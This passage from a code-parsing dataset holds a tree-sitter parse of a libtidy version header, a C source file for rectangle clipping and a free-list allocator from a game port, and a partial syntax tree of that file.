"column": 18}, "end_point": {"row": 10, "column": 52}}, {"id": 19, "type": "array_declarator", "text": "TY_(release_date)[]", "parent": 18, "children": [20], "start_point": {"row": 10, "column": 18}, "end_point": {"row": 10, "column": 37}}, {"id": 20, "type": "function_declarator", "text": "TY_(release_date)", "parent": 19, "children": [21, 22], "start_point": {"row": 10, "column": 18}, "end_point": {"row": 10, "column": 35}}, {"id": 21, "type": "identifier", "text": "TY_", "parent": 20, "children": [], "start_point": {"row": 10, "column": 18}, "end_point": {"row": 10, "column": 21}}, {"id": 22, "type": "parameter_list", "text": "(release_date)", "parent": 20, "children": [23], "start_point": {"row": 10, "column": 21}, "end_point": {"row": 10, "column": 35}}, {"id": 23, "type": "parameter_declaration", "text": "release_date", "parent": 22, "children": [24], "start_point": {"row": 10, "column": 22}, "end_point": {"row": 10, "column": 34}}, {"id": 24, "type": "type_identifier", "text": "release_date", "parent": 23, "children": [], "start_point": {"row": 10, "column": 22}, "end_point": {"row": 10, "column": 34}}, {"id": 25, "type": "=", "text": "=", "parent": 18, "children": [], "start_point": {"row": 10, "column": 38}, "end_point": {"row": 10, "column": 39}}, {"id": 26, "type": "string_literal", "text": "\"2015/01/22\"", "parent": 18, "children": [], "start_point": {"row": 10, "column": 40}, "end_point": {"row": 10, "column": 52}}, {"id": 27, "type": "#endif", "text": "#endif", "parent": 0, "children": [], "start_point": {"row": 11, "column": 0}, "end_point": {"row": 11, "column": 6}}, {"id": 28, "type": "preproc_ifdef", "text": "#ifdef LIBTIDY_VERSION\n#ifdef RC_NUMBER\nstatic const char TY_(library_version)[] = LIBTIDY_VERSION \".\" RC_NUMBER;\n#else\nstatic const char TY_(library_version)[] = LIBTIDY_VERSION;\n#endif\n#else\nstatic const char TY_(library_version)[] = \"5.0.0\";\n#endif", "parent": null, "children": [29, 30, 31, 62, 75], "start_point": {"row": 12, "column": 0}, "end_point": {"row": 20, "column": 6}}, {"id": 29, "type": "#ifdef", "text": "#ifdef", "parent": 28, "children": [], "start_point": {"row": 12, "column": 0}, "end_point": {"row": 12, "column": 6}}, {"id": 30, "type": "identifier", "text": "LIBTIDY_VERSION", "parent": 28, "children": [], "start_point": {"row": 12, "column": 7}, "end_point": {"row": 12, "column": 22}}, {"id": 31, "type": "preproc_ifdef", "text": "#ifdef RC_NUMBER\nstatic const char TY_(library_version)[] = LIBTIDY_VERSION \".\" RC_NUMBER;\n#else\nstatic const char TY_(library_version)[] = LIBTIDY_VERSION;\n#endif", "parent": 28, "children": [32, 33, 34, 48, 61], "start_point": {"row": 13, "column": 0}, "end_point": {"row": 17, "column": 6}}, {"id": 32, "type": "#ifdef", "text": "#ifdef", "parent": 31, "children": [], "start_point": {"row": 13, "column": 0}, "end_point": {"row": 13, "column": 6}}, {"id": 33, "type": "identifier", "text": "RC_NUMBER", "parent": 31, "children": [], "start_point": {"row": 13, "column": 7}, "end_point": {"row": 13, "column": 16}}, {"id": 34, "type": "declaration", "text": "static const char TY_(library_version)[] = LIBTIDY_VERSION \".\" RC_NUMBER;", "parent": 31, "children": [35, 36], "start_point": {"row": 14, "column": 0}, "end_point": {"row": 14, "column": 73}}, {"id": 35, "type": "primitive_type", "text": "char", "parent": 34, "children": [], "start_point": {"row": 14, "column": 13}, "end_point": {"row": 14, "column": 17}}, {"id": 36, "type": "init_declarator", "text": "TY_(library_version)[] = LIBTIDY_VERSION \".\" RC_NUMBER", "parent": 34, "children": [37, 43, 44], "start_point": {"row": 14, "column": 18}, "end_point": {"row": 14, "column": 72}}, {"id": 37, "type": "array_declarator", "text": "TY_(library_version)[]", "parent": 36, "children": [38], "start_point": {"row": 14, "column": 18}, "end_point": {"row": 14, "column": 40}}, {"id": 38, "type": "function_declarator", "text": "TY_(library_version)", "parent": 37, "children": [39, 40], "start_point": {"row": 14, "column": 18}, "end_point": {"row": 14, "column": 38}}, {"id": 39, "type": "identifier", "text": "TY_", "parent": 38, "children": [], "start_point": {"row": 14, "column": 18}, "end_point": {"row": 14, "column": 21}}, {"id": 40, "type": "parameter_list", "text": "(library_version)", "parent": 38, "children": [41], "start_point": {"row": 14, "column": 21}, "end_point": {"row": 14, "column": 38}}, {"id": 41, "type": "parameter_declaration", "text": "library_version", "parent": 40, "children": [42], "start_point": {"row": 14, "column": 22}, "end_point": {"row": 14, "column": 37}}, {"id": 42, "type": "type_identifier", "text": "library_version", "parent": 41, "children": [], "start_point": {"row": 14, "column": 22}, "end_point": {"row": 14, "column": 37}}, {"id": 43, "type": "=", "text": "=", "parent": 36, "children": [], "start_point": {"row": 14, "column": 41}, "end_point": {"row": 14, "column": 42}}, {"id": 44, "type": "concatenated_string", "text": "LIBTIDY_VERSION \".\" RC_NUMBER", "parent": 36, "children": [45, 46, 47], "start_point": {"row": 14, "column": 43}, "end_point": {"row": 14, "column": 72}}, {"id": 45, "type": "identifier", "text": "LIBTIDY_VERSION", "parent": 44, "children": [], "start_point": {"row": 14, "column": 43}, "end_point": {"row": 14, "column": 58}}, {"id": 46, "type": "string_literal", "text": "\".\"", "parent": 44, "children": [], "start_point": {"row": 14, "column": 59}, "end_point": {"row": 14, "column": 62}}, {"id": 47, "type": "identifier", "text": "RC_NUMBER", "parent": 44, "children": [], "start_point": {"row": 14, "column": 63}, "end_point": {"row": 14, "column": 72}}, {"id": 48, "type": "preproc_else", "text": "#else\nstatic const char TY_(library_version)[] = LIBTIDY_VERSION;", "parent": 31, "children": [49, 50], "start_point": {"row": 15, "column": 0}, "end_point": {"row": 16, "column": 59}}, {"id": 49, "type": "#else", "text": "#else", "parent": 48, "children": [], "start_point": {"row": 15, "column": 0}, "end_point": {"row": 15, "column": 5}}, {"id": 50, "type": "declaration", "text": "static const char TY_(library_version)[] = LIBTIDY_VERSION;", "parent": 48, "children": [51, 52], "start_point": {"row": 16, "column": 0}, "end_point": {"row": 16, "column": 59}}, {"id": 51, "type": "primitive_type", "text": "char", "parent": 50, "children": [], "start_point": {"row": 16, "column": 13}, "end_point": {"row": 16, "column": 17}}, {"id": 52, "type": "init_declarator", "text": "TY_(library_version)[] = LIBTIDY_VERSION", "parent": 50, "children": [53, 59, 60], "start_point": {"row": 16, "column": 18}, "end_point": {"row": 16, "column": 58}}, {"id": 53, "type": "array_declarator", "text": "TY_(library_version)[]", "parent": 52, "children": [54], "start_point": {"row": 16, "column": 18}, "end_point": {"row": 16, "column": 40}}, {"id": 54, "type": "function_declarator", "text": "TY_(library_version)", "parent": 53, "children": [55, 56], "start_point": {"row": 16, "column": 18}, "end_point": {"row": 16, "column": 38}}, {"id": 55, "type": "identifier", "text": "TY_", "parent": 54, "children": [], "start_point": {"row": 16, "column": 18}, "end_point": {"row": 16, "column": 21}}, {"id": 56, "type": "parameter_list", "text": "(library_version)", "parent": 54, "children": [57], "start_point": {"row": 16, "column": 21}, "end_point": {"row": 16, "column": 38}}, {"id": 57, "type": "parameter_declaration", "text": "library_version", "parent": 56, "children": [58], "start_point": {"row": 16, "column": 22}, "end_point": {"row": 16, "column": 37}}, {"id": 58, "type": "type_identifier", "text": "library_version", "parent": 57, "children": [], "start_point": {"row": 16, "column": 22}, "end_point": {"row": 16, "column": 37}}, {"id": 59, "type": "=", "text": "=", "parent": 52, "children": [], "start_point": {"row": 16, "column": 41}, "end_point": {"row": 16, "column": 42}}, {"id": 60, "type": "identifier", "text": "LIBTIDY_VERSION", "parent": 52, "children": [], "start_point": {"row": 16, "column": 43}, "end_point": {"row": 16, "column": 58}}, {"id": 61, "type": "#endif", "text": "#endif", "parent": 31, "children": [], "start_point": {"row": 17, "column": 0}, "end_point": {"row": 17, "column": 6}}, {"id": 62, "type": "preproc_else", "text": "#else\nstatic const char TY_(library_version)[] = \"5.0.0\";", "parent": 28, "children": [63, 64], "start_point": {"row": 18, "column": 0}, "end_point": {"row": 19, "column": 51}}, {"id": 63, "type": "#else", "text": "#else", "parent": 62, "children": [], "start_point": {"row": 18, "column": 0}, "end_point": {"row": 18, "column": 5}}, {"id": 64, "type": "declaration", "text": "static const char TY_(library_version)[] = \"5.0.0\";", "parent": 62, "children": [65, 66], "start_point": {"row": 19, "column": 0}, "end_point": {"row": 19, "column": 51}}, {"id": 65, "type": "primitive_type", "text": "char", "parent": 64, "children": [], "start_point": {"row": 19, "column": 13}, "end_point": {"row": 19, "column": 17}}, {"id": 66, "type": "init_declarator", "text": "TY_(library_version)[] = \"5.0.0\"", "parent": 64, "children": [67, 73, 74], "start_point": {"row": 19, "column": 18}, "end_point": {"row": 19, "column": 50}}, {"id": 67, "type": "array_declarator", "text": "TY_(library_version)[]", "parent": 66, "children": [68], "start_point": {"row": 19, "column": 18}, "end_point": {"row": 19, "column": 40}}, {"id": 68, "type": "function_declarator", "text": "TY_(library_version)", "parent": 67, "children": [69, 70], "start_point": {"row": 19, "column": 18}, "end_point": {"row": 19, "column": 38}}, {"id": 69, "type": "identifier", "text": "TY_", "parent": 68, "children": [], "start_point": {"row": 19, "column": 18}, "end_point": {"row": 19, "column": 21}}, {"id": 70, "type": "parameter_list", "text": "(library_version)", "parent": 68, "children": [71], "start_point": {"row": 19, "column": 21}, "end_point": {"row": 19, "column": 38}}, {"id": 71, "type": "parameter_declaration", "text": "library_version", "parent": 70, "children": [72], "start_point": {"row": 19, "column": 22}, "end_point": {"row": 19, "column": 37}}, {"id": 72, "type": "type_identifier", "text": "library_version", "parent": 71, "children": [], "start_point": {"row": 19, "column": 22}, "end_point": {"row": 19, "column": 37}}, {"id": 73, "type": "=", "text": "=", "parent": 66, "children": [], "start_point": {"row": 19, "column": 41}, "end_point": {"row": 19, "column": 42}}, {"id": 74, "type": "string_literal", "text": "\"5.0.0\"", "parent": 66, "children": [], "start_point": {"row": 19, "column": 43}, "end_point": {"row": 19, "column": 50}}, {"id": 75, "type": "#endif", "text": "#endif", "parent": 28, "children": [], "start_point": {"row": 20, "column": 0}, "end_point": {"row": 20, "column": 6}}]}, "node_categories": {"declarations": {"functions": [7, 20, 38, 54, 68], "variables": [3, 10, 16, 23, 34, 41, 50, 57, 64, 71], "classes": [], "imports": [], "modules": [], "enums": []}, "statements": {"expressions": [], "assignments": [], "loops": [], "conditionals": [0, 1, 2, 8, 11, 13, 21, 24, 27, 28, 29, 30, 31, 32, 33, 39, 42, 45, 47, 55, 58, 60, 61, 69, 72, 75], "returns": [], "exceptions": []}, "expressions": {"calls": [], "literals": [26, 44, 46, 74], "identifiers": [], "binary_operations": [], "unary_operations": [], "member_access": []}}, "cross_language_map": {"function_declarations": [{"node_id": 7, "universal_type": "function", "name": "unknown", "text_snippet": "TY_(release_date)"}, {"node_id": 20, "universal_type": "function", "name": "unknown", "text_snippet": "TY_(release_date)"}, {"node_id": 38, "universal_type": "function", "name": "unknown", "text_snippet": "TY_(library_version)"}, {"node_id": 54, "universal_type": "function", "name": "unknown", "text_snippet": "TY_(library_version)"}, {"node_id": 68, "universal_type": "function", "name": "unknown", "text_snippet": "TY_(library_version)"}], "class_declarations": [], "import_statements": []}, "original_source_code": "/* version information\n\n (c) 2007-2015 (W3C) MIT, ERCIM, Keio University\n See tidy.h for the copyright notice.\n\n*/\n\n#ifdef RELEASE_DATE\nstatic const char TY_(release_date)[] = RELEASE_DATE;\n#else\nstatic const char TY_(release_date)[] = \"2015/01/22\";\n#endif\n#ifdef LIBTIDY_VERSION\n#ifdef RC_NUMBER\nstatic const char TY_(library_version)[] = LIBTIDY_VERSION \".\" RC_NUMBER;\n#else\nstatic const char TY_(library_version)[] = LIBTIDY_VERSION;\n#endif\n#else\nstatic const char TY_(library_version)[] = \"5.0.0\";\n#endif\n\n/* eof */\n"}
81,163
c
/* Copyright (c) 2020 M.A.X. Port Team * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in all * copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE * SOFTWARE. */ #include "rect.h" #include "gnw.h" static RectPtr rlist; void GNW_rect_exit(void) { while (rlist) { RectPtr ptr = rlist->next; free(rlist); rlist = ptr; } } void rect_clip_list(RectPtr *pCur, Rect *bound) { RectPtr *clip; RectPtr cur; RectPtr temp; RectPtr temp2; RectPtr temp3; temp = NULL; clip = &temp; if (*pCur) { do { cur = (*pCur)->next; *clip = rect_clip(&(*pCur)->r, bound); if (*clip) { do { temp2 = (*clip)->next; clip = &(*clip)->next; } while (temp2); } temp3 = rlist; rlist = (*pCur); (*pCur)->next = temp3; (*pCur) = cur; } while (cur); } *pCur = temp; } RectPtr rect_clip(Rect *b, Rect *t) { Rect rect[4]; Rect clipped; RectPtr ptr; ptr = NULL; if (rect_inside_bound(t, b, &clipped)) { ptr = rect_malloc(); if (ptr) { ptr->r = *b; ptr->next = NULL; } } else { rect[0].ulx = b->ulx; rect[0].uly = b->uly; rect[0].lrx = b->lrx; rect[0].lry = clipped.uly - 1; rect[1].ulx = b->ulx; rect[1].uly = clipped.uly; rect[1].lrx = clipped.ulx - 1; rect[1].lry = clipped.lry; rect[2].ulx = clipped.lrx + 1; rect[2].uly = clipped.uly; rect[2].lrx = b->lrx; rect[2].lry = clipped.lry; rect[3].ulx = b->ulx; rect[3].uly = clipped.lry + 1; rect[3].lrx = b->lrx; rect[3].lry = b->lry; { RectPtr *rect_ptr; rect_ptr = &ptr; int i = 0; do { if (rect[i].ulx <= rect[i].lrx && rect[i].uly <= rect[i].lry) { *rect_ptr = rect_malloc(); if (*rect_ptr == NULL) { return NULL; } (*rect_ptr)->r.ulx = rect[i].ulx; (*rect_ptr)->r.uly = rect[i].uly; (*rect_ptr)->r.lrx = rect[i].lrx; (*rect_ptr)->r.lry = rect[i].lry; (*rect_ptr)->next = NULL; rect_ptr = &(*rect_ptr)->next; } ++i; } while (i < 4); } } return ptr; } RectPtr rect_malloc(void) { RectPtr ptr; if (!rlist) { int i = 0; do { ptr = (RectPtr)malloc(sizeof(struct rectdata)); if (!ptr) { break; } else { RectPtr temp; temp = rlist; rlist = ptr; ptr->next = temp; i++; } } while (i < 10); } if (rlist) { ptr = rlist; rlist = rlist->next; } else { ptr = 0; } return ptr; } void rect_free(RectPtr ptr) { RectPtr temp; temp = rlist; rlist = ptr; ptr->next = temp; } void rect_min_bound(Rect *r1, Rect *r2, Rect *min_bound) { if (r1->ulx >= r2->ulx) { min_bound->ulx = r2->ulx; } else { min_bound->ulx = r1->ulx; } if (r1->uly >= r2->uly) { min_bound->uly = r2->uly; } else { min_bound->uly = r1->uly; } if (r1->lrx <= r2->lrx) { min_bound->lrx = r2->lrx; } else { min_bound->lrx = r1->lrx; } if (r1->lry <= r2->lry) { min_bound->lry = r2->lry; } else { min_bound->lry = r1->lry; } } int rect_inside_bound(Rect *r1, Rect *bound, Rect *r2) { int result; *r2 = *r1; if (r1->ulx <= bound->lrx && r1->lrx >= bound->ulx && r1->uly <= bound->lry && r1->lry >= bound->uly) { if (bound->ulx > r1->ulx) { r2->ulx = bound->ulx; } if (r1->lrx > bound->lrx) { r2->lrx = bound->lrx; } if (r1->uly < bound->uly) { r2->uly = bound->uly; } if (r1->lry > bound->lry) { r2->lry = bound->lry; } result = 0; } else { result = -1; } return result; }
24.71
215
(translation_unit) "/* Copyright (c) 2020 M.A.X. Port Team \n * \n * Permission is hereby granted, free of charge, to any person obtaining a copy \n * of this software and associated documentation files (the "Software"), to deal \n * in the Software without restriction, including without limitation the rights \n * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n * copies of the Software, and to permit persons to whom the Software is \n * furnished to do so, subject to the following conditions: \n * \n * The above copyright notice and this permission notice shall be included in all \n * copies or substantial portions of the Software. \n * \n * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE \n * SOFTWARE. \n */ \n \n#include "rect.h" \n \n#include "gnw.h" \n \nstatic RectPtr rlist; \n \nvoid GNW_rect_exit(void) { \n while (rlist) { \n RectPtr ptr = rlist->next; \n free(rlist); \n rlist = ptr; \n } \n} \n \nvoid rect_clip_list(RectPtr *pCur, Rect *bound) { \n RectPtr *clip; \n RectPtr cur; \n RectPtr temp; \n RectPtr temp2; \n RectPtr temp3; \n \n temp = NULL; \n clip = &temp; \n if (*pCur) { \n do { \n cur = (*pCur)->next; \n *clip = rect_clip(&(*pCur)->r, bound); \n if (*clip) { \n do { \n temp2 = (*clip)->next; \n clip = &(*clip)->next; \n } while (temp2); \n } \n temp3 = rlist; \n rlist = (*pCur); \n (*pCur)->next = temp3; \n (*pCur) = cur; \n } while (cur); \n } \n *pCur = temp; \n} \n \nRectPtr rect_clip(Rect *b, Rect *t) { \n Rect rect[4]; \n Rect clipped; \n RectPtr ptr; \n \n ptr = NULL; \n if (rect_inside_bound(t, b, &clipped)) { \n ptr = rect_malloc(); \n if (ptr) { \n ptr->r = *b; \n ptr->next = NULL; \n } \n } else { \n rect[0].ulx = b->ulx; \n rect[0].uly = b->uly; \n rect[0].lrx = b->lrx; \n rect[0].lry = clipped.uly - 1; \n \n rect[1].ulx = b->ulx; \n rect[1].uly = clipped.uly; \n rect[1].lrx = clipped.ulx - 1; \n rect[1].lry = clipped.lry; \n \n rect[2].ulx = clipped.lrx + 1; \n rect[2].uly = clipped.uly; \n rect[2].lrx = b->lrx; \n rect[2].lry = clipped.lry; \n \n rect[3].ulx = b->ulx; \n rect[3].uly = clipped.lry + 1; \n rect[3].lrx = b->lrx; \n rect[3].lry = b->lry; \n \n { \n RectPtr *rect_ptr; \n rect_ptr = &ptr; \n int i = 0; \n \n do { \n if (rect[i].ulx <= rect[i].lrx && rect[i].uly <= rect[i].lry) { \n *rect_ptr = rect_malloc(); \n if (*rect_ptr == NULL) { \n return NULL; \n } \n \n (*rect_ptr)->r.ulx = rect[i].ulx; \n (*rect_ptr)->r.uly = rect[i].uly; \n (*rect_ptr)->r.lrx = rect[i].lrx; \n (*rect_ptr)->r.lry = rect[i].lry; \n \n (*rect_ptr)->next = NULL; \n rect_ptr = &(*rect_ptr)->next; \n } \n ++i; \n } while (i < 4); \n } \n } \n \n return ptr; \n} \n \nRectPtr rect_malloc(void) { \n RectPtr ptr; \n \n if (!rlist) { \n int i = 0; \n \n do { \n ptr = (RectPtr)malloc(sizeof(struct rectdata)); \n if (!ptr) { \n break; \n } else { \n RectPtr temp; \n \n temp = rlist; \n rlist = ptr; \n ptr->next = temp; \n i++; \n } \n } while (i < 10); \n } \n \n if (rlist) { \n ptr = rlist; \n rlist = rlist->next; \n } else { \n ptr = 0; \n } \n \n return ptr; \n} \n \nvoid rect_free(RectPtr ptr) { \n RectPtr temp; \n \n temp = rlist; \n rlist = ptr; \n ptr->next = temp; \n} \n \nvoid rect_min_bound(Rect *r1, Rect *r2, Rect *min_bound) { \n if (r1->ulx >= r2->ulx) { \n min_bound->ulx = r2->ulx; \n } else { \n min_bound->ulx = r1->ulx; \n } \n \n if (r1->uly >= r2->uly) { \n min_bound->uly = r2->uly; \n } else { \n min_bound->uly = r1->uly; \n } \n \n if (r1->lrx <= r2->lrx) { \n min_bound->lrx = r2->lrx; \n } else { \n min_bound->lrx = r1->lrx; \n } \n \n if (r1->lry <= r2->lry) { \n min_bound->lry = r2->lry; \n } else { \n min_bound->lry = r1->lry; \n } \n} \n \nint rect_inside_bound(Rect *r1, Rect *bound, Rect *r2) { \n int result; \n \n *r2 = *r1; \n \n if (r1->ulx <= bound->lrx && r1->lrx >= bound->ulx && r1->uly <= bound->lry && r1->lry >= bound->uly) { \n if (bound->ulx > r1->ulx) { \n r2->ulx = bound->ulx; \n } \n if (r1->lrx > bound->lrx) { \n r2->lrx = bound->lrx; \n } \n if (r1->uly < bound->uly) { \n r2->uly = bound->uly; \n } \n if (r1->lry > bound->lry) { \n r2->lry = bound->lry; \n } \n \n result = 0; \n } else { \n result = -1; \n } \n \n return result; \n} \n" (comment) "/* Copyright (c) 2020 M.A.X. Port Team \n * \n * Permission is hereby granted, free of charge, to any person obtaining a copy \n * of this software and associated documentation files (the "Software"), to deal \n * in the Software without restriction, including without limitation the rights \n * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n * copies of the Software, and to permit persons to whom the Software is \n * furnished to do so, subject to the following conditions: \n * \n * The above copyright notice and this permission notice shall be included in all \n * copies or substantial portions of the Software. \n * \n * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE \n * SOFTWARE. \n */" (preproc_include) "#include "rect.h" \n" (#include) "#include" (string_literal) ""rect.h"" (") """ (string_content) "rect.h" (") """ (preproc_include) "#include "gnw.h" \n" (#include) "#include" (string_literal) ""gnw.h"" (") """ (string_content) "gnw.h" (") """ (declaration) "static RectPtr rlist;" (storage_class_specifier) "static" (static) "static" (type_identifier) "RectPtr" (identifier) "rlist" (;) ";" (function_definition) "void GNW_rect_exit(void) { \n while (rlist) { \n RectPtr ptr = rlist->next; \n free(rlist); \n rlist = ptr; \n } \n}" (primitive_type) "void" (function_declarator) "GNW_rect_exit(void)" (identifier) "GNW_rect_exit" (parameter_list) "(void)" (() "(" (parameter_declaration) "void" (primitive_type) "void" ()) ")" (compound_statement) "{ \n while (rlist) { \n RectPtr ptr = rlist->next; \n free(rlist); \n rlist = ptr; \n } \n}" ({) "{" (while_statement) "while (rlist) { \n RectPtr ptr = rlist->next; \n free(rlist); \n rlist = ptr; \n }" (while) "while" (parenthesized_expression) "(rlist)" (() "(" (identifier) "rlist" ()) ")" (compound_statement) "{ \n RectPtr ptr = rlist->next; \n free(rlist); \n rlist = ptr; \n }" ({) "{" (declaration) "RectPtr ptr = rlist->next;" (type_identifier) "RectPtr" (init_declarator) "ptr = rlist->next" (identifier) "ptr" (=) "=" (field_expression) "rlist->next" (identifier) "rlist" (->) "->" (field_identifier) "next" (;) ";" (expression_statement) "free(rlist);" (call_expression) "free(rlist)" (identifier) "free" (argument_list) "(rlist)" (() "(" (identifier) "rlist" ()) ")" (;) ";" (expression_statement) "rlist = ptr;" (assignment_expression) "rlist = ptr" (identifier) "rlist" (=) "=" (identifier) "ptr" (;) ";" (}) "}" (}) "}" (function_definition) "void rect_clip_list(RectPtr *pCur, Rect *bound) { \n RectPtr *clip; \n RectPtr cur; \n RectPtr temp; \n RectPtr temp2; \n RectPtr temp3; \n \n temp = NULL; \n clip = &temp; \n if (*pCur) { \n do { \n cur = (*pCur)->next; \n *clip = rect_clip(&(*pCur)->r, bound); \n if (*clip) { \n do { \n temp2 = (*clip)->next; \n clip = &(*clip)->next; \n } while (temp2); \n } \n temp3 = rlist; \n rlist = (*pCur); \n (*pCur)->next = temp3; \n (*pCur) = cur; \n } while (cur); \n } \n *pCur = temp; \n}" (primitive_type) "void" (function_declarator) "rect_clip_list(RectPtr *pCur, Rect *bound)" (identifier) "rect_clip_list" (parameter_list) "(RectPtr *pCur, Rect *bound)" (() "(" (parameter_declaration) "RectPtr *pCur" (type_identifier) "RectPtr" (pointer_declarator) "*pCur" (*) "*" (identifier) "pCur" (,) "," (parameter_declaration) "Rect *bound" (type_identifier) "Rect" (pointer_declarator) "*bound" (*) "*" (identifier) "bound" ()) ")" (compound_statement) "{ \n RectPtr *clip; \n RectPtr cur; \n RectPtr temp; \n RectPtr temp2; \n RectPtr temp3; \n \n temp = NULL; \n clip = &temp; \n if (*pCur) { \n do { \n cur = (*pCur)->next; \n *clip = rect_clip(&(*pCur)->r, bound); \n if (*clip) { \n do { \n temp2 = (*clip)->next; \n clip = &(*clip)->next; \n } while (temp2); \n } \n temp3 = rlist; \n rlist = (*pCur); \n (*pCur)->next = temp3; \n (*pCur) = cur; \n } while (cur); \n } \n *pCur = temp; \n}" ({) "{" (declaration) "RectPtr *clip;" (type_identifier) "RectPtr" (pointer_declarator) "*clip" (*) "*" (identifier) "clip" (;) ";" (declaration) "RectPtr cur;" (type_identifier) "RectPtr" (identifier) "cur" (;) ";" (declaration) "RectPtr temp;" (type_identifier) "RectPtr" (identifier) "temp" (;) ";" (declaration) "RectPtr temp2;" (type_identifier) "RectPtr" (identifier) "temp2" (;) ";" (declaration) "RectPtr temp3;" (type_identifier) "RectPtr" (identifier) "temp3" (;) ";" (expression_statement) "temp = NULL;" (assignment_expression) "temp = NULL" (identifier) "temp" (=) "=" (null) "NULL" (NULL) "NULL" (;) ";" (expression_statement) "clip = &temp;" (assignment_expression) "clip = &temp" (identifier) "clip" (=) "=" (pointer_expression) "&temp" (&) "&" (identifier) "temp" (;) ";" (if_statement) "if (*pCur) { \n do { \n cur = (*pCur)->next; \n *clip = rect_clip(&(*pCur)->r, bound); \n if (*clip) { \n do { \n temp2 = (*clip)->next; \n clip = &(*clip)->next; \n } while (temp2); \n } \n temp3 = rlist; \n rlist = (*pCur); \n (*pCur)->next = temp3; \n (*pCur) = cur; \n } while (cur); \n }" (if) "if" (parenthesized_expression) "(*pCur)" (() "(" (pointer_expression) "*pCur" (*) "*" (identifier) "pCur" ()) ")" (compound_statement) "{ \n do { \n cur = (*pCur)->next; \n *clip = rect_clip(&(*pCur)->r, bound); \n if (*clip) { \n do { \n temp2 = (*clip)->next; \n clip = &(*clip)->next; \n } while (temp2); \n } \n temp3 = rlist; \n rlist = (*pCur); \n (*pCur)->next = temp3; \n (*pCur) = cur; \n } while (cur); \n }" ({) "{" (do_statement) "do { \n cur = (*pCur)->next; \n *clip = rect_clip(&(*pCur)->r, bound); \n if (*clip) { \n do { \n temp2 = (*clip)->next; \n clip = &(*clip)->next; \n } while (temp2); \n } \n temp3 = rlist; \n rlist = (*pCur); \n (*pCur)->next = temp3; \n (*pCur) = cur; \n } while (cur);" (do) "do" (compound_statement) "{ \n cur = (*pCur)->next; \n *clip = rect_clip(&(*pCur)->r, bound); \n if (*clip) { \n do { \n temp2 = (*clip)->next; \n clip = &(*clip)->next; \n } while (temp2); \n } \n temp3 = rlist; \n rlist = (*pCur); \n (*pCur)->next = temp3; \n (*pCur) = cur; \n }" ({) "{" (expression_statement) "cur = (*pCur)->next;" (assignment_expression) "cur = (*pCur)->next" (identifier) "cur" (=) "=" (field_expression) "(*pCur)->next" (parenthesized_expression) "(*pCur)" (() "(" (pointer_expression) "*pCur" (*) "*" (identifier) "pCur" ()) ")" (->) "->" (field_identifier) "next" (;) ";" (expression_statement) "*clip = rect_clip(&(*pCur)->r, bound);" (assignment_expression) "*clip = rect_clip(&(*pCur)->r, bound)" (pointer_expression) "*clip" (*) "*" (identifier) "clip" (=) "=" (call_expression) "rect_clip(&(*pCur)->r, bound)" (identifier) "rect_clip" (argument_list) "(&(*pCur)->r, bound)" (() "(" (pointer_expression) "&(*pCur)->r" (&) "&" (field_expression) "(*pCur)->r" (parenthesized_expression) "(*pCur)" (() "(" (pointer_expression) "*pCur" (*) "*" (identifier) "pCur" ()) ")" (->) "->" (field_identifier) "r" (,) "," (identifier) "bound" ()) ")" (;) ";" (if_statement) "if (*clip) { \n do { \n temp2 = (*clip)->next; \n clip = &(*clip)->next; \n } while (temp2); \n }" (if) "if" (parenthesized_expression) "(*clip)" (() "(" (pointer_expression) "*clip" (*) "*" (identifier) "clip" ()) ")" (compound_statement) "{ \n do { \n temp2 = (*clip)->next; \n clip = &(*clip)->next; \n } while (temp2); \n }" ({) "{" (do_statement) "do { \n temp2 = (*clip)->next; \n clip = &(*clip)->next; \n } while (temp2);" (do) "do" (compound_statement) "{ \n temp2 = (*clip)->next; \n clip = &(*clip)->next; \n }" ({) "{" (expression_statement) "temp2 = (*clip)->next;" (assignment_expression) "temp2 = (*clip)->next" (identifier) "temp2" (=) "=" (field_expression) "(*clip)->next" (parenthesized_expression) "(*clip)" (() "(" (pointer_expression) "*clip" (*) "*" (identifier) "clip" ()) ")" (->) "->" (field_identifier) "next" (;) ";" (expression_statement) "clip = &(*clip)->next;" (assignment_expression) "clip = &(*clip)->next" (identifier) "clip" (=) "=" (pointer_expression) "&(*clip)->next" (&) "&" (field_expression) "(*clip)->next" (parenthesized_expression) "(*clip)" (() "(" (pointer_expression) "*clip" (*) "*" (identifier) "clip" ()) ")" (->) "->" (field_identifier) "next" (;) 